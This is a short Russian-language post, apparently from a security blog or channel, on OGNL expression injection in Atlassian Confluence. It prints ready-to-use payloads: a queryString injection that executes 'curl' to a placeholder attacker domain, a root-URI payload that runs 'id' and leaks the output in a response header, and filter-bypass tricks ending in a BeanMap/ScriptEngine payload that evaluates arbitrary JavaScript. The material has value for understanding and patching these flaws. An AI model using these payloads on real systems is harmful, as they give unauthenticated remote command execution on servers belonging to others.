Существует такая вещь в
Java, как Object Graph Notation Language (OGNL) еще один Expression language. Чаще всего данный фреймворк можно заметить в продуктах Apache и Attlasian OGNL вызывает методы несколько иначе, чем Java, поскольку OGNL интерпретируется и должен выбрать нужный метод во время выполнения программы, не имея никакой дополнительной информации о типе, кроме собственно предоставленных аргументов. OGNL всегда выбирает наиболее специфичный метод, типы которого соответствуют заданным аргументамСпустя время, выяснилось, что через
OGNL можно также сделать Command Injection. Метод эксплуатации чем-то напоминает SSTI 😻Разберу пару вулн в
Confluence. Проблемы появлялись из-за isSafeExpressionПри рендеринге странице, есть спрятанный параметр
queryString 😑Именно он дает нам возможность, поиграться с
Java queryString=aaa\u0027%2b#{\u0022\u0022[\u0022class\u0022].forName(\u0022java.lang.Runtime\u0022).getMethod(\u0022getRuntime\u0022,null).invoke(null,null).exec(\u0022curl your-domain.com\u0022)}%2b\u0027Потом нашли проблему в URI. Просто кидай пейлоад сразу в корень (не забудь энкодить)👍
${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Qualys-Response",#a))}Увы и ах, но спустя время и это тоже пофиксили. Однако, MCKSysAr нашел байпасс.
Самое банальное - это использовать
Class, вместо class. Или использовать конкатенацию строк.Дальше, один из экспертов решил пойти глубже и начал смотреть
Abstract Syntax Tree (AST). Как оказалось, AST давал много векторов, для обхода ограниченийСамое вкусное было найдено в
BeanMap, который позволял сделать, уже полноценный байпасс(#@org.apache.commons.beanutils.BeanMap@\\u007b\\u007d).(setBean(''),get('cla'+'ss').forName('javax'+'.script.ScriptEngineManager').newInstance().getEngineByName('js').eval('7*7'))Всем удачи 😇